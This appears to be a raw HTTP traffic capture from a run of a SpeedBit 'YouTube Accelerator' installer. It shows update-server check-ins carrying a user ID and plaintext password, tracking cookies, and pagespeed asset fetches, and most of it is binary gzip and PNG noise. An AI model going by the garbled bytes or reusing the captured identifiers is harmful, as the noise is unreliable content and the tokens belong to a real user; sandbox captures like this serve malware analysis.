Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 214170-285557/285558

Age: 1399

X-Cache: Hit from cloudfront

Via: 1.1 e5c6a45cefc4c1d8e59eda29bdf1ce79.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 7OxmyLx8N3suOmYvBbXl4SSgisXsBqeOFELZk-7w5GBC_7rclvWwOQ==
a...:X.h0...d...,Q..b:..... <o..^..z.nI...n..b..3........$.#....k..
m...L:M..^..b..j.*G.:c'^T... .k..|..?D...c....\..P.}[email protected].
...x.X..7.[.f...!......g...)aT......k.....1..K.....ou74.U..#.k3-...N..
.....t....u8n.7.c.2..7J... ...h..s......[.V..44.a..<.- .....x..O2oZ
*...u.....oY...T..k..r. z'._GC..B.W.9&1......'.~/].2 v~..:f.=.x<0.}
.e3F/5..b..<!..H...1)......V~G...7.........A..1VS..s.!6.k.J6...h.o.
..8..A^[email protected]>.[.Z...I..P..................Y..... .I."....s....6
d..<F-..[....\]^... C4w>..'j$.qT........J .{..\....X>........
......|EU.*................c..Q.<......Mk..%....1c...8.g:...=.d'.R.
..Im,O.o$..Q.....O..fS43.(...`..........M.s...Rx..[.|:...&.^.....c....
..)...>.6.C4c".%..O..r.Cg.........|._...9..m.h.6.;.Y.L.~).M..]A\...
e.u`...U....s.X....m.....1y|.....k......~..uEi.$...J..pK.:Xt.....z9.bu
*...1:.C....`.]..N.oR.....0..(.5U!.*....$.......3t.0..Vd6..H....6.9N,.
...)T....e.h.."..N6..nUE.......Z..d.........&.....`..1..............b9
..K..g..9Md...K...6q.?...MU.GW.c.C..Ppfw..u.{.."..]....wf|k./(BX......
V...p>...'.;..(..Q.....9.:...R.v";...zv\;..Ow.2...7.~.IT.D..mu.k.OG
w....<U.....x.. ...i.....W.5|w.#....DR.w.}..r......D...^Y..v.... 05
...K.:.{..}Q...t.Y......P..#Hl....2........&c.....C.*...D....l...v.K.v
D.wC..vK4..W.P.).X.....Z..;V2......,j....q./.q.i..d.........\..F.._a..
.U....T...m...d.....>....{z.tf.T..%...5.. NF.......).....:.b,..O.Yq
.....u/oT<.`[email protected].|T..mVLY.......C(
E.....F...e|...hu.\.\. .....~ ..Fi>..M.;..f.U$..!.&6 Y......s..
<<< skipped >>>


GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=4de1d895-16f4-46c5-b766-79c34a33683b&Password=g4NYbwGq&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1418834630&SBPIDS=1&KA=1 HTTP/1.1

User-Agent: CoreWinInet

Host: online.speedbit.com

Cache-Control: no-cache

Connection: Keep-Alive




HTTP/1.1 200 OK

Connection: close

Date: Wed, 17 Dec 2014 16:43:50 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Cache-Control: no-cache, no-store

X-AspNet-Version: 2.0.50727

Set-Cookie: ASP.NET_SessionId=ks4qyg45wfjyj2555qxfdwjm; path=/; HttpOnly

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 44
<RESULT>.<LASTERROR>0</LASTERROR>.</RESULT>...


GET /mstag/tag/649013f9-6914-436e-ba0b-dcbf07bc69d7/analytics.js?ver=1404240900 HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: flex.msn.com

DNT: 1

Connection: Keep-Alive

Cookie: mh=MSFT; CC=UA; CULTURE=EN-US; SRCHD=SM=1&MS=3093912&D=3093912&AF=NOFORM; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20131118; MC1=V=3&GUID=373863f57d114b0289364f6434076125; brdSample=0; MUID=1785AC2FD94664211AC0A9A6DD466620; cbus=subint:1:138479115




HTTP/1.1 200 OK

Cache-Control: public

Content-Type: application/javascript; charset=utf-8

Content-Encoding: gzip

Expires: Thu, 18 Dec 2014 16:44:57 GMT

Vary: Accept-Encoding

Server: Microsoft-IIS/8.0

X-AspNet-Version: 4.0.30319

Date: Wed, 17 Dec 2014 16:44:56 GMT

Connection: close

Content-Length: 366
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?"....i[T..;.}~qz..i.~...6.._....
Z.u{.:o.>....j..{.lT...r....2.]R..)....iGm...6.b...?.3.>...^>
.{......v...x.,..jq..h.W.g..pV-.by6.L.|tHo..8O..1.s.@}B.~!...G.'.~.. .
....... }....P.:....F!._}.}jE`..)...^....>.U.QP......'-...ZA...*.d.
..<.............`...Ro..y.....


GET /hk/R2BrCMjs44SBG-5Ct1qUME3DBk/VVV.appshat.com/css/A.style.css.pagespeed.cf.aA84XopnLuCplsgxWdKn.css HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: 1-ps.googleusercontent.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Server: nginx

Content-Type: text/css

Date: Wed, 17 Dec 2014 15:54:33 GMT

Expires: Tue, 15 Dec 2015 07:56:02 GMT

ETag: W/"0"

Last-Modified: Mon, 15 Dec 2014 07:56:02 GMT

X-Page-Speed: 123_1_rr

Content-Encoding: gzip

X-XSS-Protection: 1; mode=block

Content-Length: 1265

Age: 3192

Cache-Control: max-age=31536000

Alternate-Protocol: 80:quic,p=0.02
...........Wmo.6.. ......z..[...Y.t.....}.(...P.J.u...}.D..^.%.@ H....
[email protected](..[b.'4..5...$<.>..cJ.Y..).%a,w..s..zLH....4 ..
........g....}-../7...;f~.....o....A.y^$..F).a..c/.(.........P..~.Dn.6
..<..?..o..w.DX..Q.C..).1.\c..0DY...x6......7o}..\.  .<Q.m...DD/
D.K.........l...... '..F...<..%....'.U.k..Ig$.DQ.n.f..7.....i.?.t.0
F...,...r..I .F.6.M.T8.._.....HQd...^..*..x_.1`...>x...[..~.x..O.5`
....iT..Y.6.....C.5(:....U......FL.X1.c..!*r....De.>&.c.......<.
..pG(,e5...Z .......>[email protected].:r....X.<c...'..Rq...
".YYQ.@[email protected]..\$.L...h..V...>0.E..d.O3..............|......
x$YZ...l:.t..h......M..$....x {...FH..E.F......(`-...........0.......P
..S....S{.MAu....g......X..|...v...,P..U9.4...H..u.f...o...&.VA4Nk.'s.
bT........~0R.a.E.{Z.Ls.8.t.........%L*...........rR6f..>..M..R.j..
|.x$...>6. &.R..o.0..H.@[email protected]`.%..pg.*..X
Ad-....M..I..-V..V\..Uz(.......^.<.E.:.......w=...;#.'...2..B.7..r.
fH......).X[.......$.!8..;....y.L......EA^...2...o.....eA..y...|...V..
..t.w..&.R.(.....8s.X.J.@r|....*...........x.....?|Z..p...r.....{ ;...
`.....=>~..2e.......Tk.3q..BD!....M5\....7.`*....>P[...g%.i.}...
[email protected].'R..P.......K...)E...v;C....(.Op8..t...ry....U
......Z.&.....3.;.O..R...?S ..o...p..............].......
<<< skipped >>>

GET /hk/R2BrCMjs44SBG-5Ct1qUME3DBk/VVV.appshat.com/js/jquery.smooth-scroll.min.js.pagespeed.jm.WowFBOF837MdT8jW9Obi.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: 1-ps.googleusercontent.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Server: nginx

Content-Type: application/x-javascript

Date: Wed, 17 Dec 2014 15:52:59 GMT

Expires: Wed, 09 Dec 2015 17:56:36 GMT

ETag: W/"0"

Last-Modified: Tue, 09 Dec 2014 17:56:36 GMT

X-Page-Speed: 123_1_rr

Content-Encoding: gzip

Content-Length: 1081

X-XSS-Protection: 1; mode=block

Age: 3286

Cache-Control: max-age=31536000

Alternate-Protocol: 80:quic,p=0.02
...........VQo.6.. .q0$T..[..i...m.....K3@.)[.b...kg.........0.A-..H~.
H...T.T%....|s .....)o.o..R.Y.dx.t......}D.g............I..m.eB..4q<
;.."..].C.....W.H.....RW...T.9...hrK...Y....n....).....s...h.7.M.%..5.
^wm1....OG.4..h.N.k.....8....`.F.M....X(sWPL.x[.....3g0.JDU..N.Pf.)o..
.;.K./..I.2.;.....g"....I.'%W..)0.#...)........6..bg..PU.....J.a..4.zw
JddS^.{<.-;.Z.(.awy..u..&]Al....5.Jy..d.. ..F......rk..>b.X..$04
s.......Z..aY'o..0.^.Y!..A.....G..%0}.c.$E|.........=..t..u{....Vc....
.>........(.e..b...!>E ....)...lJ..p.......nK.P..?..T....Q.j.uG.
..g..m.h....g.......'q..X..2.&t..)..gh.......&\(y...b.1...,c93...2lF.[
p..[-..........8.|Y.k...Q......&....{...j..$.sW.F...............5>.
(.:..m.......%.p,}..E.X.|[email protected]%.4.......3.&.......N.,;kG&).la....
.d~....6...v3l..p..nvU....j.......S....o..@ ...;........a..4.3.....}.f
......d.f.q...#e..um_I.e9.U..8!.^$.......y....l..d.*.....0d'..S4 ...?U
..QH..qY..t@.|[email protected]...../...........34..$....!.>>OD..
.h.M...j.",.. .Y..an..7...?~.s......W....3..7...y..w.....A......D.....
N.f.3l.Y.g.'6.......Q...../z..^..r&. ......W.....e.........


GET /hk/R2BrCMjs44SBG-5Ct1qUME3DBk/VVV.appshat.com/thumbnails/icon/images/assets/f/4/78x78xf4e4b853ddab3b763f0af17d513631bd.png.pagespeed.ic.qOS1_AxoxISP5vyxWYJQ.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: 1-ps.googleusercontent.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Server: nginx

Accept-Ranges: bytes

Content-Type: image/png

Date: Wed, 17 Dec 2014 15:56:08 GMT

Expires: Fri, 04 Dec 2015 20:14:42 GMT

ETag: W/"0"

Last-Modified: Thu, 04 Dec 2014 20:14:42 GMT

X-Original-Content-Length: 309779

X-Page-Speed: 123_1_rr

X-XSS-Protection: 1; mode=block

Age: 3097

Cache-Control: max-age=31536000

Alternate-Protocol: 80:quic,p=0.02

Transfer-Encoding: chunked
8000...PNG........IHDR.............{.C... .IDATx..}wx....{..6..du[.-.n
bc...`S..%[email protected]!......B.I..J.:.Slp..`...,.....m....cvV..3.U...y
.......=s..}..5".)>... .... z~=..;"._D..})...a8].w......w.#..N....2
.z.X..}....D..q.v....E|.y.ey.[...A.p...?........v.....p.)@. ..`..H....
/.T..... ...Q/..........w#.D.......>.Q.4z'....#._.......0..........
.u.$8..H.K...k~F6...S.OO..$.lDts6t.......&.H.....r...:....xB...t.r..^&
lt;.j.....Y..hYb%?...D../.O.Q/.~# .g.3Y...w5.n.8...hHq..t..`....M..f.v
..X.@.........!.g..7...y..iH.B.FA.Q..'I.......!.&~ld'..HO@8B.`..wa.y.c
sw.,......8..5\.K.S>..t.... ..AH..}.......c3..SZ.....M...P.. 2.N.c'
Z<....z}......8....el. .,.S.7.1........8.c..K/.|..Y.........Uihn:..
XVzj..o.n..........-...A.../....O.p..f*..?...:.3C...I.J.D......%...I?.
..E.|6.@..~.B.$..N...|.a.F4..b.)t..[tS. ....0........%7...............
..........~|.......z......n.....{v:...(/sv(S.r....O..?.%...h...-..@...
~..O,."X...$..L#).C(.w1.!.$@"......~.}.'....;.....<AD....h.z.G].w..
..S[A.).O..C...bh..J.E........f........P....2......{G...s.......={..Y.
f..7.....u40.H......_...!g..S..c..8..1....%..,02N}i..6az&...4.g .H....
@..W...=...gv......Ma....1.[(.....2...H.[X... 1C./.xw...N.....).,..X..
..JN.....t.u=.2...8p.Pee....w._.lh....H....P2.}SG....C... ...!.<@L.
r..D...Q/. ....e.& .'.z.....W.B........R..4GL.[te...l...C.........c.4.
.....O..c.....~..h.Z...5......~..>.A*.{....}....T.ow....U.q..n@.".b
..",.j..........8.. ........ "...q...D.Ao..V.....88...W.z0E$.Eh.....&l
t;.8?.:$<,.K..h.Gk.1..b...................~......F...^..p'.wrRf
<<< skipped >>>

GET /hk/R2BrCMjs44SBG-5Ct1qUME3DBk/VVV.appshat.com/thumbnails/icon/images/assets/2/3/78x78x23428f8768d928d2bd45dd3b0c4d0057.png.pagespeed.ic.7nPUyI6bY-QhYePRE8Xn.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: 1-ps.googleusercontent.com

Connection: Keep-Alive



GET /hk/R2BrCMjs44SBG-5Ct1qUME3DBk/VVV.appshat.com/thumbnails/icon/images/assets/b/b/78x78xbbbde9554589bda63791709a6785e0a3.png.pagespeed.ic.qJ1hwUZH7Wgh_YVz1ST6.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: 1-ps.googleusercontent.com

Connection: Keep-Alive





..e;.V.....{....M....=T.....t)...sE.9...'.~.^|}..~...,...sdl.{a....w(.
"a%[email protected]@.cd.&..(.....OZ;.....J......6....X..;.@.>
...a....8..O}.B.....d..V< ..z.)n.{.........8.O. .....#../.....7.N.F
..CXF......fD.N..-...Z...}N/.2.?.._,..W..%.. ..P...... .^.....<V.S.
.%.~p..3~...t.D =..mt.....8...j1.d..^y{.=..W........e.....l....(.=.2a.
%.D.W........%P....U.a.K).....)`#Xs...[F....d?.7.'..oa..:.V...........
...q....%<pc....?...ZG.....'.... .....>....O....|=..Dt>>F 
..T*..e......'8.cb.!6.D}.EJ....,;..}..Gp...G..w6e....sF..7-.....,,-...
...:.....Rk{.G..C......pNv.][email protected]:v..|.#q........!...n.k/;...
s........#..F............_.....5v........ ......AF.?I..#)J ..5H.......
.......ge.....h.@.;N.=m.td...~V...;..F..X..gA{.96mq.....5.....z..7...V
.......x...**..aQE%.ny..^}.2.~*...p........!#..3......."8D{.......`R..
j..4..7..J`.....u.%.bI...'.=.rP8(....H....Z;.....o..{}t..7,R..u.-.....
%..1u.t..u.......O...p.1......>........%.484...`".V^n.8.V..cO......
Wk......x...e........., .E..JF..C..*..Z..d...?!Zy....4.s,.6BWr.^....W.
.~...fW"..u..u......G........3-....k...lZ?6..`.....o....?...*...w.}\k=
[email protected]..}4(O4........`Ap.........c....L......S..._=G?...
..l.....8....%.*.@.:z.....4.h.<~...[:........!.3...OD..r....Cs.r..R
.cq/....d{'....."3....DG.Z...\K....6.q.2$...{=..?D?.............i...8.
..?.....P..Kp..\.b.F..0.c`.L..I.....I....Q.......-.P.J}....c<..."..
.{Mg.S`../V ......d............E,J..Gj....=....?.r....ba]E....M.6...^.
..=..Q....yT.f-...:yr\.Ek..,J...CT..R........'.k...ay...i.GGhum...
<<< skipped >>>

GET /hk/R2BrCMjs44SBG-5Ct1qUME3DBk/VVV.appshat.com/thumbnails/icon/images/assets/7/d/78x78x7d4f668f3d1818d01b6b9684b669d0db.png.pagespeed.ic.gGkeGXUraEg5vr5zk3oz.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: 1-ps.googleusercontent.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Server: nginx

Accept-Ranges: bytes

Content-Type: image/png

Date: Wed, 17 Dec 2014 15:55:26 GMT

Expires: Fri, 04 Dec 2015 20:14:37 GMT

ETag: W/"0"

Last-Modified: Thu, 04 Dec 2014 20:14:37 GMT

X-Original-Content-Length: 98253

X-Page-Speed: 123_1_rr

X-XSS-Protection: 1; mode=block

Content-Length: 96344

Age: 3139

Cache-Control: max-age=31536000

Alternate-Protocol: 80:quic,p=0.02
.PNG........IHDR...,...,.....y}.u.. .IDATx.....d.U...5.....Z{_$.z..ZZ.
.!.- .b.....d,,....f.}...c8..cc{.g...A`...0......AKjP.Z..^.Y.g.o......
.... ..#Z.....x.......~........1......1......1......1......1......1...
...1......1.\..`~..Q.X....z.4.........)...S>...h.?.k.i^c.h......O.U
}3...... }.R._......s..A...Q..1....u.....L...Z........LDV.......Rd..9A
...h...'.?...W.w|......./:.:....FR_......Al.....v......h.{............
7....M.$.L..f.l6..f6...R..K|U)...(.. .j.>./.>t%........M.\.'....
..4...1......P.SDH.~........U..u..i.TI.......onF.R~ ..F....}.......=..
."h$Iz.5.....e.0......EQ.`.......{...{.aqnm-......|fB.\..D..Y.9.......
....,..(..,..........g.........U..........._.`. 6.............'."...k$
.5...Y0.....|....=7....n>.z.....E9....U.4....[[email protected].
..4A.xQ....`...q...r.g.EQduU....&.I......'O_..?...........h...f...P...
..Y... ...........3..lTU....c.X...w.....T.C.T......,...~..e...m..-7}..
.......o......7vZ..UY...8....(.........wDO!.B]....P......$.#.....Q...s
.g.,.h .. ......~UE.Cq.....E....{v8.mM........|...?.._:M.....p*Zq..=z.
..2 .a^.a..."......].(.N.".z.~.Y...K../.d..k.X...`..^.A%..A.-.H....C..
.......<....._.....w<..[_|hq.f.y.^`1a`..d4v.Z. .]U..U8./.....}.g
....".......7.&....."(g)!.L.S...*.h.2HW....b. .RD?...a..........z.=...
....\.^...U5..F..76.......g...O.....;;..........h4..."..}.)-.O]P.Yl_..
]N..9.k.^s..?.{.O.T..H.e...i..e...3K..}....O.../...Q....;.7.......}...
...Q.4..]>.8....sN..g.....(..(........)PP.........w|O.._.....K...:A
()bI?...........f).V..WB..h........4...8..Q....>..G.Iv.R..GN>
<<< skipped >>>

GET /hk/R2BrCMjs44SBG-5Ct1qUME3DBk/VVV.appshat.com/thumbnails/icon/images/assets/5/2/52d5414e7372639389ab7e9e4d479aee.png.pagespeed.ce.0W_R5npG-ygjyX2J47_Z.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: 1-ps.googleusercontent.com

Connection: Keep-Alive





...q4.6..........Z"..,...g.Q1._i.`.b....>......M.:.......*..5)Hz;..
../...M..~.....G..Y./.C..^.gX....i&.Q./.S.F..-..^..)-:o.hr.#.....6.<
;.2c%....I....X...)7..F..>.L%G..h_\.TO...*..E.3....-:.......i#yy...
.....}(..>..df......}.i.k1.G.>4A.0K...........'...X....PN.x.~)..
.S...~j...B.>.p<`....... .XOc.... ...c.3.W..U....a]..8.........o
8..........EUs.J...H3.,q}.P:s...tNr8H.3O..K..]..H................x.J."
.8.z.....HM.....p].u"....A.....y..q$... ...I.w....oM....-6....y.....F2
!...:f...v..o.0s...W.]./0h...v.......XL.X3........$'[email protected]...(R)Qb,6
.P& ........M...s...r...V..'bYV)..Y.........g.u..B"...H..^......Hz...'
01s..^..~.j`b..D ...K.Ym.'!M"L_.I.n.&D....v.9.-...p...'.`......&)..O"X
 ..}.E*._........*E.....E9....j...'=.pE`B..N;..I.R...!|....f'.....*...
.^:..Hv..w.(..A.*>.G.8F...G..R.^..V.J2..../_..As.n.he.O..{>.`...
$...k....C...Zb....Dp}.O.Uu....4..T=..DX.'.|.R..<.r.X..6..\..T.un..
...` m].=g?38J..M.H-}rf...T...NQ.I....e~.;P%is.!'.|........Nz1..g.....
'=L.@7.....;...'=..k.._.w.j../s'[email protected].....&r~n.*...R....D.S@
_ ...,...I..U.K..Z.....EE. .7o..d.M\.N{=.... /.2.D$6......(.#.........
...=w.......~.n..~be.....4..E...../@..x...Q..:j.6~=...|.7_....-.I..*.V
9..7~..N.Q... ..H.N....- ..G1.kx.A....5>..b.}b.~y.Z.3.B.q.y.'.U....
\a.......A...3~.y..-2g.....^c...jA...l{L.I.X.Tea".I...3.%2.&/..I~.....
..... ........4.....C...$,$s"..$F...]l.0......_..t....tj..'...|..kN...
f:...m,...$ ...'.D..tm...9..Y.$62..#.BO!.g...Yz...C.u".ILK..d~wl}..^wq
.\.1.g..0!...`....>j&..l4.yh..#....n8`.....e.H.....I......XI&&.
<<< skipped >>>

GET /hk/R2BrCMjs44SBG-5Ct1qUME3DBk/VVV.appshat.com/thumbnails/icon/images/assets/a/c/78x78xac5196fbf245580eee113296dff14d0b.png.pagespeed.ic.A5hcD5ZxIijQD8QWvY2v.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: 1-ps.googleusercontent.com

Connection: Keep-Alive





.G..l/.z..Kz.s.....h......I..y..,.K^..M...`Y{..Bt~.U.O~oj...Y..$4!.'..
......BI.'.#..............j;1...^b..n.h..(....q....4x....4._......h..f
.:.~L........^..;..bw~ ......UqQ.....\...... 9...L2..L.W)..Q..'6.../nJ
>..JC0.][email protected]..<p....}...FQ4.?C.S.).......9
AC.....$!@......./.@...#.0su.....R......c..;.3|t..t[5(.<..p.y&.7EQT
G......W... ..E.S.........>..F|[email protected]
.!.............c/.a...?.}.F0...0..8.........0....PC-...P.K.."..?.....^
.C;\...W.o........;..g.....N............u..D'..t..=....^.]....t..@'.1.
@'[email protected].?.o..N..........Gp.)......i-P..#.c....Yi......(9.".}
.....6.H.Gu.:""......k.8.>..<sNDr...b0....,....0...........!r...
w.!91.8..N$....21..NW..t?.rI.#.j...J..q...xR.#'bR....t Z.....Q.s(...}k
k.....k..b||.3..........s.....J.#P.......]Qt...q1.....r.tY............
1y....uDfU.J..vX...n8e_.]\<;.1..H.qD.DBI7...)..U.]..O9#-~........|.
....U=..a4..G'..Gq...|..1.. .c.....o..?..[..c7.....x..^.c3..8......._.
.. ...A.z...~..q.....w.w`..Q.........P....tr~......~.:.t.=.........w.@
[email protected]=.t...Y..y.z..y.z.u:fb.....|.......Eo..
..f`...L.l.]....z..Y...^......L.=..L........@..........'.G...=..i.....
ry.8"........h0i.d=..R.U1S.|w.%~...T&,7...O......... ........~..`8...~
l..~|...a..O0.2}.Yv..)F>..A]......xp...v_.U...0.....#..4.......F.&g
t;h......}.svj.....<N...........9/..-.....u.?R....L..QnH.)i..I.....
T..W.,e.MRW.J\..v......,.".G..1;.b...........v..S.{..../......u.......
[email protected]...`J......53...Ne.8..y.Y...E.6..X.\..
<<< skipped >>>

GET /hk/R2BrCMjs44SBG-5Ct1qUME3DBk/VVV.appshat.com/thumbnails/icon/images/assets/3/6/78x78x36d7cd00f07003a67021237993257d08.png.pagespeed.ic.cWg2Rji-hSk9fEeSL6Ya.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: 1-ps.googleusercontent.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Server: nginx

Accept-Ranges: bytes

Content-Type: image/png

Date: Wed, 17 Dec 2014 15:54:16 GMT

Expires: Sun, 13 Dec 2015 14:48:20 GMT

ETag: W/"0"

Last-Modified: Sat, 13 Dec 2014 14:48:20 GMT

X-Original-Content-Length: 151824

X-Page-Speed: 123_1_rr

X-XSS-Protection: 1; mode=block

Content-Length: 151008

Age: 3210

Cache-Control: max-age=31536000

Alternate-Protocol: 80:quic,p=0.02
.PNG........IHDR................... .IDATx.....].u&..S%!...c"c..M0.1..
C..Ch.......C...8.M.a......a.M......a...0.....a.qh....L3DQ..V..rYK.D&.
d!..}..:..w..u.{..........=...g.....A.u].!$$$$$$$$$$$$$$..XRtAHHHHHHHH
HHHHHH..!!!!!!!!!!!!!!!....................................@HHHHHHHHHH
HHHHH..!!!!!!!!!!!!!!!....................................@HHHHHHHHHHH
HHH..!!!!!!!!!!!!!!!....................................@HHHHHHHHHHHHH
HH..!!!!!!!!!!!!!!!....................................@HHHHHHHHHHHHHH
..!!!!!!!!!!!!!!!....................................@HHHHHHHHHHHHHHH.
.!!!!!!!!!!!!!!!....................................@HHHHHHHHHHHHHH..!
!!!!!!!!!!!!!!....................................@HHHHHHHHHHHHHHH..!!
!!!!!!!!!!!!!....................................@HHHHHHHHHHHHHHH..!!!
!!!!!!!!!!!....................................@HHHHHHHHHHHHHHH..!!!!!
!!!!!!!!!!..................[&........`.....4...C...|=)_..oya...|."...
...>..>/_O..c.u]..)...kHHHHHHHH...B.uW......us.>...._....w..o
.?.^........>_.......\:.....b"............6_.(.....n.??......H....;
!.|\.f.`.....|.......X8.h....BBBBBBBBB..`w......G.....$.|z.f{...j.)...
..t............|..4...z....W.......,8....w>..d.8..s.O........u..ub{
[email protected]...{......'.s>..>.hg..!!!!!!!!!............3..
....._.>.....v}y..Z>.....vg.t....:_....%_.....n.......^.;.......
....X.....1.<..9.~p}.._..zFH'.".? ..o...m.qW.......#O.}.........._w
....?......u7..}...o{...q.......OZ{..7&.Yy......;'7.....6..*<..sB..
]...........}*...OP.#H?..}............^.}..k..K.....|.........~...
<<< skipped >>>

GET /hk/R2BrCMjs44SBG-5Ct1qUME3DBk/VVV.appshat.com/thumbnails/icon/images/assets/e/9/78x78xe94782c9200f8de809a50327879df1cc.png.pagespeed.ic.Mr4gF218xk_cqItCCN1L.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: 1-ps.googleusercontent.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Server: nginx

Accept-Ranges: bytes

Content-Type: image/png

Date: Wed, 17 Dec 2014 15:54:17 GMT

Expires: Mon, 14 Dec 2015 20:55:22 GMT

ETag: W/"0"

Last-Modified: Sun, 14 Dec 2014 20:55:22 GMT

X-Original-Content-Length: 317939

X-Page-Speed: 123_1_rr

X-XSS-Protection: 1; mode=block

Age: 3210

Cache-Control: max-age=31536000

Alternate-Protocol: 80:quic,p=0.02

Transfer-Encoding: chunked
8000...PNG........IHDR..............x.... .IDATx...w.d.}..9.v......l.M
.%....$.0A.EP.3).r..*'.EQ.Ut.%[.d.%[email protected].
.y.bw.....q..>}....o..tUO..p........%.'~.....!...T.M..Q.{..s../&.7.
............ ...pY)u.Pj..>.QJ..... .B..`G.4vd..r..R.Q..<..:Jj.R.
...E1...C..F..g.P.....I.......)...g.>,p;".;...g.."a...g....y/D...s.
.......G.cu|W. ..:!.9....F.7..<....k...5...Bp..-....q$.<..[...V.
y.....z#k\....%...!..F.,...)P.k..ca.......k...N.....] .....c.x.xE.....
. .A.xv...M`E............u...:..~..s..<.W.K.}[email protected]...!".....
...K.gS..ro ....?-.....q..wD....'_.$.....=..\.(....2.. ....bDz.mH..Tc.
[email protected].>..i`YHI#.F..u;*/6...AM.F...
...<..0..P...]7..=j.{i..%.N....C....1...S..a....S... .H!QR .BI....%
.r...~!..%.....{.-(..r..\.........FsR.>B...W=?...pc...c...y...#.w..
... .;.7!..Qc6......*.< ..Z....y......I...(...#.&aP....X.Hr]...H..\
l..q..Z..(.........Q(.j-T#"..t.PS.(&..B.?.)J.Rx.ht.B..R.....|...1....5
.W b.~L..........E.W......^.^.c....K.-...H.....6.Y]k.:..\s.=..].g.= ..
..n......}:\.b.s..?u.*[email protected]|.!..p......~......F.>......./...bzv
......^..6.$.?....t..-CU. <......}.g..4......A...U.S.w\[email protected].
./.rv...?......K.?.....L..........O.MeNR).R(.A.....9-..[..v.,.....E...
